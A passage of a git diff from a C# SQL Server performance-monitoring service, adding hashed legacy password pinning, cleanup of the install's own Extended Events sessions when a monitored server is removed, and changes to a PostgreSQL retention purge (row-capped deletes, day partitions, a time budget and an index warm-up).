+        await InsertPinAsync(c, tx, SmtpPinServerId, "smtp", password!, binding, timeoutSeconds, ct).ConfigureAwait(false);
+        return (1, 1);
+    }
+
+    // A live value matches its candidate only when both the hash of its stored text and the hash of its connection equal
+    // what the record holds. A value with no candidate (written after the record was taken, or moved to another
+    // connection) never matches.
+    private static bool Matches(
+        Dictionary<(int ServerId, string Slot), Candidate> candidates, int serverId, string slot, string? stored, PasswordBinding binding)
+    {
+        if (string.IsNullOrWhiteSpace(stored) || DarlingSecretSource.IsReference(stored) || PasswordSeal.IsSealed(stored)
+            || !candidates.TryGetValue((serverId, slot), out var candidate))
+        {
+            return false;
+        }
+
+        var valueEqual = CryptographicOperations.FixedTimeEquals(candidate.ValueSha256, SHA256.HashData(Encoding.UTF8.GetBytes(stored)));
+        var bindingEqual = CryptographicOperations.FixedTimeEquals(candidate.BindingSha256, binding.LegacyPinHash());
+        return valueEqual && bindingEqual;
+    }
+
+    // A matched value is pinned only when this machine opens it. The question is answered with a yes or a no: the opened
+    // value is never returned to this code.
+    private static bool CanPin(string stored, Func<string, bool> canOpen, ILogger logger)
+    {
+        try
+        {
+            return canOpen(stored);
+        }
+        catch (Exception ex) when (ex is CryptographicException or FormatException or PlatformNotSupportedException)
+        {
+            logger.LogWarning("A saved password could not be opened on this machine, so it was not pinned: {Message}", ex.Message);
+            return false;
+        }
+    }
+
+    private static async Task InsertPinAsync(
+        NpgsqlConnection c, NpgsqlTransaction tx, int serverId, string slot, string storedText, PasswordBinding binding, int timeoutSeconds, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO config.legacy_secret_pin (server_id, slot, value_sha256, binding_sha256)
+VALUES ($1, $2, $3, $4)
+ON CONFLICT (server_id, slot) DO NOTHING;", c, tx);
+        command.CommandTimeout = timeoutSeconds;
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(slot);
+        command.Parameters.AddWithValue(SHA256.HashData(Encoding.UTF8.GetBytes(storedText)));
+        command.Parameters.AddWithValue(binding.LegacyPinHash());
+        await command.ExecuteNonQueryAsync(ct).ConfigureAwait(false);
+    }
+
+    private static string? Text(NpgsqlDataReader reader, int ordinal) => reader.IsDBNull(ordinal) ? null : reader.GetString(ordinal);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingRemovedServerSessions.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingRemovedServerSessions.cs
new file mode 100644
index 0000000000..a381a76ba7
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingRemovedServerSessions.cs
@@ -0,0 +1,267 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// A removed server, as it stood before the registry forgot it (#4961): the definition the loop held, the runtime that
+/// connects to it, and what its last long-query reconcile left (<see cref="DarlingWorker.ServerLoopState.LongQueryTraceApplied"/>:
+/// null is not yet reconciled, true is on, false is confirmed dropped).
+/// </summary>
+internal sealed record RemovedLongQueryServer(MonitoredServer Config, ServerRuntime Runtime, bool? LongQueryTraceApplied);
+
+/// <summary>
+/// Removing a server drops this install's Extended Events sessions on it, and nothing else (#4961): the long-query trace's
+/// session, then the deadlock and blocked-process sessions this install chose for itself in the server's databases. The same
+/// rule as Lite's removal. Every failure, the timeout included, is logged and returned: a session left behind never stops
+/// the removal.
+/// </summary>
+internal static class DarlingRemovedServerSessions
+{
+    /// <summary>How long a server's removal waits for its sessions to drop, for the whole step.</summary>
+    internal static readonly TimeSpan Timeout = TimeSpan.FromSeconds(15);
+
+    private static readonly AlwaysOnXeSessionKind[] FallbackKinds = { AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeSessionKind.BlockedProcess };
+
+    /// <summary>
+    /// What the removal needs from each server the reconcile is about to forget: the definition, the runtime and the
+    /// long-query latch. The reconcile is one synchronous step under the servers' lock that clears the runtime and drops
+    /// the state, so this is taken first, inside that lock. A server that stays is not taken, nor is one with no runtime
+    /// (nothing to connect with) or one that is not SQL Server. A server whose trace was confirmed dropped has no
+    /// long-query session to remove, so it is taken only when a database of it reads this install's own deadlock or
+    /// blocked-process session: the fallbacks do not depend on the trace.
+    /// </summary>
+    internal static List<RemovedLongQueryServer> Capture(
+        IReadOnlyList<DarlingWorker.ServerLoopState> servers, IReadOnlyList<MonitoredServer> desired, DarlingCollectorRunner runner)
+    {
+        var wanted = new HashSet<int>(desired.Select(server => server.ServerId));
+        var removed = new List<RemovedLongQueryServer>();
+        foreach (var state in servers)
+        {
+            if (wanted.Contains(state.Config.ServerId))
+            {
+                continue;
+            }
+
+            var runtime = state.Runtime;
+            if (runtime is null || runtime.Target.Engine != CollectorTargetEngine.SqlServer)
+            {
+                continue;
+            }
+
+            var applied = state.LongQueryTraceApplied;
+            if (applied == false && !HoldsOwnFallback(runner, runtime))
+            {
+                continue;
+            }
+
+            removed.Add(new RemovedLongQueryServer(state.Config, runtime, applied));
+        }
+
+        return removed;
+    }
+
+    private static bool HoldsOwnFallback(DarlingCollectorRunner runner, ServerRuntime server)
+    {
+        var key = DarlingAlwaysOnXeSessions.ServerKey(server);
+        return FallbackKinds.Any(kind => runner.AlwaysOnChoices.OwnDatabases(key, kind).Count > 0);
+    }
+
+    /// <summary>
+    /// Drops this install's sessions on one removed server: the long-query session, then the fallbacks. <paramref name="remaining"/>
+    /// is the registry as the reload left it, so the removed server is not among them and holds nothing back; its own id
+    /// is never another registration's. <paramref name="traceOn"/> says whether another registration's long-query trace is
+    /// on, and <paramref name="instanceGuard"/> is asked for an on-premises server only. One attempt for the whole step: the
+    /// caller's token is the timeout.
+    /// </summary>
+    internal static async Task DropAsync(
+        RemovedLongQueryServer removed,
+        DarlingCollectorRunner runner,
+        IReadOnlyList<MonitoredServer>? remaining,
+        Func<int, bool> traceOn,
+        Func<CancellationToken, Task<LongQueryTraceInstanceGuard>> instanceGuard,
+        ILogger logger,
+        CancellationToken cancellationToken)
+    {
+        var others = (remaining ?? Array.Empty<MonitoredServer>()).Where(other => other.ServerId != removed.Runtime.ServerId).ToList();
+        await DropLongQuerySessionAsync(removed, runner, others, traceOn, instanceGuard, logger, cancellationToken);
+        await DropOwnFallbacksAsync(removed, runner, others, logger, cancellationToken);
+    }
+
+    /// <summary>
+    /// The long-query trace's session: on Azure SQL Database in each listed database but master, and not in one another
+    /// registration of the logical server keeps; elsewhere the server's own session, unless the instance guard says another
+    /// registration of this install may keep it. A removed server cannot be checked later, so the guard leaves the session
+    /// whenever another registration could keep it and says why. Nothing is opened for a server whose last finished reconcile
+    /// dropped the session, or for an install with no id. The one-time legacy drop is not the removal's.
+    /// </summary>
+    private static async Task DropLongQuerySessionAsync(
+        RemovedLongQueryServer removed,
+        DarlingCollectorRunner runner,
+        IReadOnlyList<MonitoredServer> others,
+        Func<int, bool> traceOn,
+        Func<CancellationToken, Task<LongQueryTraceInstanceGuard>> instanceGuard,
+        ILogger logger,
+        CancellationToken cancellationToken)
+    {
+        var server = removed.Runtime;
+        var name = server.Config.DisplayName;
+        try
+        {
+            /* A token that has run out ends the step before it opens anything. */
+            cancellationToken.ThrowIfCancellationRequested();
+
+            if (runner.LongQuerySessionName() is null || removed.LongQueryTraceApplied == false)
+            {
+                return;
+            }
+
+            var azureSqlDatabase = server.Target.IsAzureSqlDb;
+            if (!azureSqlDatabase)
+            {
+                var skipReason = (await instanceGuard(cancellationToken)).RemovalSkipReason();
+                if (skipReason is not null)
+                {
+                    logger.LogInformation("[{Server}] The long-query trace session was left in place on removal: {Reason}.", name, skipReason);
+                    return;
+                }
+            }
+
+            var registrations = azureSqlDatabase
+                ? DarlingWorker.LongQueryTraceRegistrations(
+                    server.Config.Host,
+                    others,
+                    traceOn,
+                    otherId => runner.DatabaseScopeFor(LongQueryCompletionsCollector.Instance.Name, otherId))
+                : Array.Empty<LongQueryTraceRegistration>();
+            var separatelyMonitored = azureSqlDatabase
+                ? DarlingWorker.LongQueryTraceServerSeparatelyMonitored(server.Config.Host, others)
+                : Array.Empty<string>();
+
+            await DarlingXeSessions.ReconcileLongQueryCompletionsAsync(
+                server, runner, enabled: false, LongQueryTracePass.Removal, registrations, separatelyMonitored, createFailureWarned: false, logger, cancellationToken);
+
+            logger.LogInformation("[{Server}] Dropped the long-query trace session of the removed server", name);
+        }
+        catch (OperationCanceledException)
+        {
+            logger.LogWarning(
+                "[{Server}] The long-query trace session of the removed server was not dropped within {Seconds} seconds; it may remain on the server",
+                name, Timeout.TotalSeconds.ToString("0", CultureInfo.InvariantCulture));
+        }
+        catch (Exception ex)
+        {
+            logger.LogWarning(
+                "[{Server}] Could not drop the long-query trace session of the removed server; it may remain on the server: {Message}", name, ex.Message);
+        }
+    }
+
+    /// <summary>
+    /// The deadlock and blocked-process sessions this install chose for itself in the removed server's Azure SQL Database
+    /// databases (<see cref="AlwaysOnXeChoices.OwnDatabases"/>): each is dropped by this install's own name, unless another
+    /// registration of the same logical server reads its own session in that database. A database of the same name on
+    /// another logical server is another database, so the registrations compare by host, ignoring case and padding. The
+    /// shared session is never dropped. The server's choices are forgotten either way.
+    /// </summary>
+    private static async Task DropOwnFallbacksAsync(
+        RemovedLongQueryServer removed,
+        DarlingCollectorRunner runner,
+        IReadOnlyList<MonitoredServer> others,
+        ILogger logger,
+        CancellationToken cancellationToken)
+    {
+        var server = removed.Runtime;
+        var name = server.Config.DisplayName;
+        var ownKey = DarlingAlwaysOnXeSessions.ServerKey(server);
+        try
+        {
+            var hostKey = server.Config.Host.Trim();
+            var sameServerKeys = others
+                .Where(other => string.Equals(other.Host.Trim(), hostKey, StringComparison.OrdinalIgnoreCase))
+                .Select(other => other.ServerId.ToString(CultureInfo.InvariantCulture))
+                .ToList();
+
+            foreach (var kind in FallbackKinds)
+            {
+                var ownName = runner.AlwaysOnOwnSessionName(kind);
+                if (ownName is null)
+                {
+                    continue;
+                }
+
+                var keptByOthers = new HashSet<string>(
+                    sameServerKeys.SelectMany(key => runner.AlwaysOnChoices.OwnDatabases(key, kind)), StringComparer.OrdinalIgnoreCase);
+                foreach (var databaseName in runner.AlwaysOnChoices.OwnDatabases(ownKey, kind).Where(database => !keptByOthers.Contains(database)))
+                {
+                    cancellationToken.ThrowIfCancellationRequested();
+                    try
+                    {
+                        SqlConnection? connection = null;
+                        IAlwaysOnXeDatabase? database = null;
+                        try
+                        {
+                            if (runner.AlwaysOnXeDatabaseForTests is { } open)
+                            {
+                                database = await open(server, databaseName, cancellationToken);
+                            }
+                            else if (runner.AlwaysOnXeConnectionForTests is { } openConnection)
+                            {
+                                database = DarlingAlwaysOnXeSessions.WithReadOnlyIntent(
+                                    runner, server, databaseName,
+                                    await openConnection(server, databaseName, DarlingXeSessions.LongQueryTraceConnectionString(server, databaseName), cancellationToken));
+                            }
+                            else
+                            {
+                                connection = await runner.OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken);
+                                database = DarlingAlwaysOnXeSessions.WithReadOnlyIntent(
+                                    runner, server, databaseName, new DarlingAlwaysOnXeSessions.Database(connection));
+                            }
+
+                            /* #4961: for a registration with read-only intent, stopped over its own connection when it runs
+                               there, then dropped over a connection without the intent. */
+                            await AlwaysOnXeAzureEnsure.DropOwnSessionAsync(database, kind, ownName, cancellationToken);
+                        }
+                        finally
+                        {
+                            (database as IDisposable)?.Dispose();
+                            connection?.Dispose();
+                        }
+
+                        logger.LogInformation("[{Server}] [{Database}] Dropped this install's {Kind} XE session of the removed server", name, databaseName, kind);
+                    }
+                    catch (Exception ex) when (ex is not OperationCanceledException)
+                    {
+                        logger.LogWarning(
+                            "[{Server}] [{Database}] Could not drop this install's {Kind} XE session of the removed server; it may remain in the database: {Message}",
+                            name, databaseName, kind, ex.Message);
+                    }
+                }
+            }
+        }
+        catch (OperationCanceledException)
+        {
+            logger.LogWarning(
+                "[{Server}] The deadlock and blocked-process XE sessions of the removed server were not all dropped within {Seconds} seconds; some may remain on the server",
+                name, Timeout.TotalSeconds.ToString("0", CultureInfo.InvariantCulture));
+        }
+        finally
+        {
+            runner.AlwaysOnChoices.Forget(ownKey);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs
index fccb982934..25436d5af2 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs
@@ -14,6 +14,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
 using Npgsql;
 using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Collectors;
@@ -185,11 +186,11 @@ internal static int EffectivePurgeRetentionDays(string collectorName, int resolv
     /// different windows. The table keeps 9 days and deletes row by row on <c>first_execution_time</c>. A Query
     /// Store interval can span a day, so 8 days is exactly the edge for an interval that starts just past the
     /// horizon and closes inside a 7-day window; 9 days gives a day of margin. Reads use the table below raw's
-    /// chunk floor, down to L = max(window start, filled_since, table floor + 1 day), where the table floor is
+    /// chunk floor, down to L = max(window start, filled_since, table floor + 26 h (the purge-edge margin)), where the table floor is
     /// the oldest <c>first_execution_time</c> the purge has left. Like <see cref="QueryStoreIntervalLatestRetentionDays"/>
     /// this is a named constant, not a knob, and in no collector schedule.
     /// </summary>
-    internal const int QueryStoreIntervalWideRetentionDays = 9;
+    internal const int QueryStoreIntervalWideRetentionDays = QueryStoreIntervalPartitions.WideHorizonDays;
 
     /// <summary>
     /// #3466 (lane 2): the fleet-sweep tables' horizon — the base data horizon, deliberately, because a
@@ -307,16 +308,34 @@ keeps a large first purge from ever hitting a timeout at all — a single unboun
     /// <see cref="BuildManualPurgeLabel"/> so the record reads as a manual purge and names a custom horizon
     /// when one was asked for. Null (the daily sweep) leaves the record's text exactly as it always was.
     /// </param>
+    /// <param name="collectionPressure">
+    /// #5592: the in-process read of whether collection is keeping up. When set on a paced run
+    /// (<paramref name="paceWal"/> true), the drain waits before each batch while collection is behind, pauses after
+    /// each batch for the batch's own run time, and stops at the next batch boundary once the pass has run for
+    /// <paramref name="wallBudget"/>. Null (every test, and any caller that does not pass one) leaves today's
+    /// behavior: no waiting, no pause, no budget. An unpaced run ignores it.
+    /// </param>
+    /// <param name="wallBudget">
+    /// The wall time a pass with a <paramref name="collectionPressure"/> may run before it stops at a batch boundary;
+    /// null takes <see cref="RetentionCollectionYield.DefaultWallBudget"/>.
+    /// </param>
     public static async Task<PurgeSummary> PurgeAsync(
         NpgsqlDataSource postgres, bool timescaleAvailable, ILogger? logger, CancellationToken cancellationToken,
         Func<string, int>? retentionDaysFor = null, int planContentRetentionDays = 0,
         int livenessTouchedTablePruneRowCap = LivenessTouchedTablePruneRowCap, bool paceWal = false,
-        string? runLabel = null)
+        string? runLabel = null, ICollectionPressure? collectionPressure = null, TimeSpan? wallBudget = null)
     {
         /* One pacer per run, its rate read once from the store's own checkpoint settings before the first
            table is touched. */
         var walPacer = paceWal ? await RetentionWalPacer.CreateAsync(postgres, logger, cancellationToken) : null;
 
+        /* #5592: the pass's yield rule rides on the pacer, so every paced batch finds it. The budget starts here. */
+        if (walPacer is not null && collectionPressure is not null)
+        {
+            walPacer.Yield = new RetentionCollectionYield(
+                collectionPressure, wallBudget ?? RetentionCollectionYield.DefaultWallBudget, logger);
+        }
+
         return await PurgeWithPacerAsync(
             postgres, timescaleAvailable, logger, cancellationToken, retentionDaysFor, planContentRetentionDays,
             livenessTouchedTablePruneRowCap, walPacer, runLabel);
@@ -710,7 +729,7 @@ same statement per attempt at whatever cap #4130's adaptive sizing has chosen
                            once adaptiveRowCapTimeColumn is set below, so this exact string is never the
                            one executed for that table. */
                         isPlanDim
-                            ? RowCappedDeleteSql(dimTable, PayloadDimensions.LastSeenColumn, PlanDimDeleteRowCap)
+                            ? RowCappedDeleteSql("collect." + dimTable, PayloadDimensions.LastSeenColumn, PlanDimDeleteRowCap)
                             : TimeSlicedDeleteSql(dimTable, PayloadDimensions.LastSeenColumn),
                         ComputeDimTableCutoff(dimTable, dimensionCutoff, planDimensionCutoff),
                         logger,
@@ -771,61 +790,82 @@ plain. Fall through to the extension-free DELETE so it still honors its horizon.
             }
 
             /* #3953: the latest-snapshot interval table, at its own 15-day horizon on first_execution_time (the
-               monitored clock the table partitions on). The batched DELETE, which is compressed-chunk safe; the
+               monitored clock the table partitions on). The row-capped batched DELETE (#5569); the
                table is a plain heap until its hypertable conversion lands, and drop_chunks joins this block then,
-               in collection_log's shape above. Its pending-replay rows go at the same horizon: a batch still
+               in collection_log's shape above (the ctid row cap below is plain-heap only, #1564; a hypertable
+               conversion has to retire it). Its pending-replay rows go at the same horizon: a batch still
                pending after 15 days can no longer reach a window the table serves, and a removed server's rows
                would otherwise stay forever. Failure-isolated like every sibling. */
-            var intervalLatestDeleted = await PurgeOneAsync(
-                postgres, QueryStoreIntervalLatest.TableName,
-                TimeSlicedDeleteSql("collect." + QueryStoreIntervalLatest.TableName, "first_execution_time"),
-                utcNow.AddDays(-QueryStoreIntervalLatestRetentionDays), logger, cancellationToken,
-                pacer: walPacer);
+            /* #5569: row-capped and adaptive, not one whole-day slice. A day of this table is millions of
+               rows, so the slice form's single DELETE passed the command timeout on a large store, rolled
+               back, and the next pass picked the same doomed day. The capped form commits per batch, halves
+               its cap on a timeout, and orders by the first_execution_time btree (V153), so progress
+               survives a timeout and the next pass resumes at the oldest remaining rows. The table is a
+               plain heap, so the ctid cap is safe (the plan dimension's reasoning, RowCappedDeleteSql). */
+            /* The statement below is illustrative: PurgeOneAsync's adaptive path ignores deleteSql and
+               rebuilds the cursored form per attempt (CursoredRowCappedDeleteSql), against this same
+               schema-qualified table. */
+            /* #5571: the table is now PARTITIONED by day (V172), so the row-capped purge above targets the renamed
+               pre-partitioning table `collect.query_store_interval_latest_legacy` BY NAME, never the parent: a ctid
+               repeats across partitions, so `ctid IN (SELECT ctid ...)` against the parent can delete live rows of
+               another day. Whole expired days (and the legacy table once it is bounded below the cutoff) are DROPPED,
+               by the same code the hourly step runs, and the DEFAULT partition gets a plain DELETE. All of that is
+               PurgeIntervalTableAsync. */
+            var intervalLatestPartitions = await PurgeIntervalTableAsync(
+                postgres, QueryStoreIntervalPartitions.Latest, utcNow, logger, walPacer, cancellationToken);
+            tablesPurged += intervalLatestPartitions.Purged;
+            totalRowsDeleted += intervalLatestPartitions.RowsDeleted;
+            tablesFailed += intervalLatestPartitions.Failed;
             var intervalPendingDeleted = await PurgeOneAsync(
                 postgres, QueryStoreIntervalLatest.PendingTableName,
                 TimeSlicedDeleteSql("collect." + QueryStoreIntervalLatest.PendingTableName, "recorded_at"),
                 utcNow.AddDays(-QueryStoreIntervalLatestRetentionDays), logger, cancellationToken,
                 pacer: walPacer);
-            foreach (var deleted in new[] { intervalLatestDeleted, intervalPendingDeleted })
+            if (intervalPendingDeleted is not null)
             {
-                if (deleted is not null)
-                {
-                    tablesPurged++;
-                    totalRowsDeleted += deleted.Value;
-                }
-                else
-                {
-                    tablesFailed++;
-                }
+                tablesPurged++;
+                totalRowsDeleted += intervalPendingDeleted.Value;
+            }
+            else
+            {
+                tablesFailed++;
             }
 
             /* #3953 (V145): the WIDE interval table beside V143's, at its own 9-day horizon
                (QueryStoreIntervalWideRetentionDays) on first_execution_time — a shorter horizon than V143's 15
                days. Same batched-DELETE shape, same pending-replay horizon reasoning, failure-isolated like every
                sibling. The purge deletes row by row on first_execution_time, so the table floor the read gate
-               checks (MIN(first_execution_time)) advances as it runs, and reads below raw's floor stop one day
-               above it (L = max(window start, filled_since, table floor + 1 day)). */
-            var intervalWideDeleted = await PurgeOneAsync(
-                postgres, QueryStoreIntervalWide.TableName,
-                TimeSlicedDeleteSql("collect." + QueryStoreIntervalWide.TableName, "first_execution_time"),
-                utcNow.AddDays(-QueryStoreIntervalWideRetentionDays), logger, cancellationToken,
-                pacer: walPacer);
+               checks (MIN(first_execution_time)) advances as it runs, and reads below raw's floor stop 26 h
+               above it (L = max(window start, filled_since, table floor + 26 h, the purge-edge margin)). The floor
+               read is not free right after a big row delete, though: it walks past every not-yet-marked dead index
+               entry (#5581). After #5571 those entries live only in the legacy table and the DEFAULT partition
+               (a dropped day partition takes its indexes with it), and QueryStoreIntervalFloorWarmUp pays the walk
+               at the end of this pass when PurgeIntervalTableAsync's result says it deleted rows or failed. */
+            /* #5569: the same row-capped adaptive drain as the latest table above, for the same reason (a
+               whole day of the wide table timed out on every pass and removed nothing). */
+            /* The statement below is illustrative: PurgeOneAsync's adaptive path ignores deleteSql and
+               rebuilds the cursored form per attempt (CursoredRowCappedDeleteSql), against this same
+               schema-qualified table. */
+            /* #5571: partitioned by day (V171); see the latest table above. The legacy-named row-capped purge, the
+               partition drops and the DEFAULT delete are PurgeIntervalTableAsync. */
+            var intervalWidePartitions = await PurgeIntervalTableAsync(
+                postgres, QueryStoreIntervalPartitions.Wide, utcNow, logger, walPacer, cancellationToken);
+            tablesPurged += intervalWidePartitions.Purged;
+            totalRowsDeleted += intervalWidePartitions.RowsDeleted;
+            tablesFailed += intervalWidePartitions.Failed;
             var intervalWidePendingDeleted = await PurgeOneAsync(
                 postgres, QueryStoreIntervalWide.PendingTableName,
                 TimeSlicedDeleteSql("collect." + QueryStoreIntervalWide.PendingTableName, "recorded_at"),
                 utcNow.AddDays(-QueryStoreIntervalWideRetentionDays), logger, cancellationToken,
                 pacer: walPacer);
-            foreach (var deleted in new[] { intervalWideDeleted, intervalWidePendingDeleted })
+            if (intervalWidePendingDeleted is not null)
             {
-                if (deleted is not null)
-                {
-                    tablesPurged++;
-                    totalRowsDeleted += deleted.Value;
-                }
-                else
-                {
-                    tablesFailed++;
-                }
+                tablesPurged++;
+                totalRowsDeleted += intervalWidePendingDeleted.Value;
+            }
+            else
+            {
+                tablesFailed++;
             }
 
             /* config_alert_log (the fired-alert history) is a plain config-schema registry table, never a
@@ -909,6 +949,60 @@ the writer readable against each other.
                 tablesFailed++;
             }
 
+            /* collect.query_stats_hour_ledger (#4605, V164): the hourly row-count ledger that the long-window count
+               guard compares with the hourly rollup, in place of counting raw. NOT in CollectorCatalog.All (the
+               collector runner's COPY transaction writes it, not a collector definition), so the loop above skips
+               it, and the raw-relation skip in that loop is for raw tables only; nothing else prunes it.
+               The horizon is the SUCCESSOR HOURLY ROLLUP's (TimescaleSupport.HourlyRetentionSpan, the same
+               constant the successor's own retention policy and the read router derive from), NOT raw's four days
+               and NOT a collector's retention: the guard compares the ledger with the rollup, which keeps ninety
+               days, so a ledger pruned at raw's horizon would be missing hours the rollup still holds and the guard
+               would fail every window past four days. A store without TimescaleDB has no rollup and no guard, and
+               the same constant just bounds the table there.
+               A plain table, so a plain DELETE: about one row per server per hour (servers x 24 x retention days),
+               and the primary key leads with bucket, so the predicate is an index range scan. One execution IS the
+               whole purge, so it dispatches single-shot, like the fleet-sweep children below.
+               Failure-isolated like every sibling: a failed statement is warned + counted, the sweep goes on. */
+            var hourLedgerDeleted = await PurgeOneAsync(
+                postgres, QueryStatsHourLedger.LedgerTable,
+                QueryStatsHourLedger.PruneSql,
+                utcNow - TimescaleSupport.HourlyRetentionSpan, logger, cancellationToken,
+                batchSize: SingleShotStatement,
+                pacer: walPacer);
+            if (hourLedgerDeleted is not null)
+            {
+                tablesPurged++;
+                totalRowsDeleted += hourLedgerDeleted.Value;
+            }
+            else
+            {
+                tablesFailed++;
+            }
+
+            /* collect.pg_io_stats_hourly (#5495, V170): the hourly rollup of pg_io_stats. NOT in CollectorCatalog.All (the hourly
+               tick's builder writes it), so the loop above skips it. It keeps exactly the raw collector's retention (the same
+               resolved days, so a per-collector override moves both): a rollup hour whose raw rows are gone makes the read's count guard
+               differ and sends that read to raw, which holds nothing there either. A plain table, one row per combination per hour,
+               and the unique index leads with server_id then hour_start; a plain DELETE is one execution. */
+            var pgIoHourlyDays = EffectivePurgeRetentionDays(
+                "pg_io_stats",
+                retentionDaysFor?.Invoke("pg_io_stats")
+                    ?? (CollectorScheduleDefaults.All.TryGetValue("pg_io_stats", out var pgIoSchedule) ? pgIoSchedule.RetentionDays : DataRetentionBaseDays));
+            var pgIoHourlyDeleted = await PurgeOneAsync(
+                postgres, PgIoStatsHourly.Table,
+                PgIoStatsHourlyBuilder.PruneSql,
+                utcNow.AddDays(-pgIoHourlyDays), logger, cancellationToken,
+                batchSize: SingleShotStatement,
+                pacer: walPacer);
+            if (pgIoHourlyDeleted is not null)
+            {
+                tablesPurged++;
+                totalRowsDeleted += pgIoHourlyDeleted.Value;
+            }
+            else
+            {
+                tablesFailed++;
+            }
             /* collect.oversized_plan_backlog (#3392) purges on last_seen_at at
                OversizedPlanBacklogRetentionDays. NOT in CollectorCatalog.All (it is written by the collector
                runner's post-write hook and by the backlog sweep, not by a collector definition), so the loop
@@ -1003,7 +1097,21 @@ real work (>= 1 row) re-ran the full DELETE once more just to confirm emptiness,
                 }
             }
 
-            var summary = new PurgeSummary(tablesPurged, totalRowsDeleted, totalChunksDropped);
+            /* #5592: a table the spent budget kept from starting came back as "0 rows, fine" from PurgeOneAsync and was
+               counted above; it was not purged, so it comes back out. A table stopped part-way did delete rows and stays. */
+            var yieldGate = walPacer?.Yield;
+            tablesPurged = Math.Max(0, tablesPurged - (yieldGate?.TablesNotReached ?? 0));
+            var yieldNote = yieldGate?.Describe();
+
+            var summary = new PurgeSummary(tablesPurged, totalRowsDeleted, totalChunksDropped, yieldGate?.TablesLeft ?? 0);
+            if (yieldGate is { StoppedOnBudget: true })
+            {
+                logger?.LogInformation(
+                    "Retention purge stopped at its {Budget:F0}-minute time budget {Place} with {NotReached} table(s) not reached; the next pass continues from the rows left. Collection was waited for {WaitSeconds:F0} s and the drain paused {PauseSeconds:F0} s between batches",
+                    yieldGate.WallBudget.TotalMinutes, yieldGate.StoppedPlace, yieldGate.TablesNotReached,
+                    yieldGate.TotalWaitSeconds, yieldGate.TotalPauseSeconds);
+            }
+
             if (walPacer is null)
             {
                 logger?.LogInformation(
@@ -1027,10 +1135,24 @@ which is failure-isolated and never breaks the loop. */
                 paced: walPacer is not null,
                 walBytes: walPacer?.TotalWalBytes ?? 0,
                 pacedSeconds: walPacer?.TotalWaitSeconds ?? 0,
-                runLabel: runLabel);
+                runLabel: runLabel,
+                yieldNote: yieldNote);
             await DarlingObservability.LogRetentionRunAsync(
                 postgres, status, summary.TotalPurged, sw.ElapsedMilliseconds, message, logger, cancellationToken);
 
+            /* #5581: the interval drains above removed the oldest rows of every server, and the read gate's floor
+               read (MIN(first_execution_time) per server) walks the index from exactly that end, paying a heap
+               fetch for each dead entry until a read marks it. Run the shipped floor reads once now, one server
+               at a time, so the first real read after the drain finds the entries already marked. It runs here,
+               after the last table's purge and after the run-record, so it never sits between two purges and the
+               record's duration is the purge's own; it never throws and never counts as a failed purge. #5573
+               partitioned both tables by day, so a table is warmed when its PurgeIntervalTableAsync result deleted
+               rows (the legacy table's row-capped purge or the DEFAULT delete) or failed (a part that failed may
+               have committed batches). A pass that only dropped whole day partitions skips it: a dropped partition
+               takes its indexes with it, so no dead entry is left to walk past. */
+            await QueryStoreIntervalFloorWarmUp.RunAfterDrainAsync(
+                postgres, intervalWidePartitions, intervalLatestPartitions, logger, cancellationToken);
+
             return summary;
         }
         catch (OperationCanceledException)
@@ -1063,7 +1185,7 @@ await DarlingObservability.LogRetentionRunAsync(
     /// </summary>
     internal static (string Status, string Message) BuildRunRecordSummary(
         int tablesPurged, int totalRowsDeleted, int totalChunksDropped, int tablesFailed,
-        bool paced = false, long walBytes = 0, double pacedSeconds = 0, string? runLabel = null)
+        bool paced = false, long walBytes = 0, double pacedSeconds = 0, string? runLabel = null, string? yieldNote = null)
     {
         var status = tablesFailed == 0 ? "SUCCESS" : "WARNING";
         var message = tablesFailed == 0
@@ -1078,6 +1200,14 @@ long purge reads as pacing rather than as a stall. The figure is the WHOLE store
             message += $"; store WAL during the purge's batches: {(walBytes / 1_048_576.0).ToString("F0", CultureInfo.InvariantCulture)} MB, paced {pacedSeconds.ToString("F0", CultureInfo.InvariantCulture)} s";
         }
 
+        /* #5592: a pass that waited for collection, paused between batches or stopped on its time budget says so. Null
+           (no signal passed, or nothing to report) leaves the text exactly as it was. A budget stop is not a failure,
+           so the status stays SUCCESS. */
+        if (!string.IsNullOrEmpty(yieldNote))
+        {
+            message += "; " + yieldNote;
+        }
+
         if (!string.IsNullOrEmpty(runLabel))
         {
             message = $"{runLabel}: {message}";
@@ -1163,6 +1293,138 @@ internal static string TimeSlicedDeleteSql(string table, string timeColumn, stri
     /// </summary>
     internal const int PlanDimDeleteRowCap = 50_000;
 
+    /// <summary>
+    /// The CEILING on rows per statement for the two Query Store interval tables' purges (#5569), the same
+    /// adaptive drain the plan dimension uses (<see cref="NextPlanDimBatchCap"/> grows it on fast batches and
+    /// halves it on a timeout, between <see cref="PlanDimDeleteRowFloor"/> and this). Their rows have no TOAST
+    /// (~1.1 KB each), so a batch at this ceiling is far cheaper than a plan-dim batch; the adaptive sizing
+    /// finds the real rate on each store.
+    /// </summary>
+    internal const int IntervalDeleteRowCap = PlanDimDeleteRowCap;
+
+    /// <summary>What <see cref="PurgeIntervalTableAsync"/> adds to the sweep's tallies.</summary>
+    internal readonly record struct IntervalPartitionPurge(int Purged, int RowsDeleted, int Failed);
+
+    /// <summary>
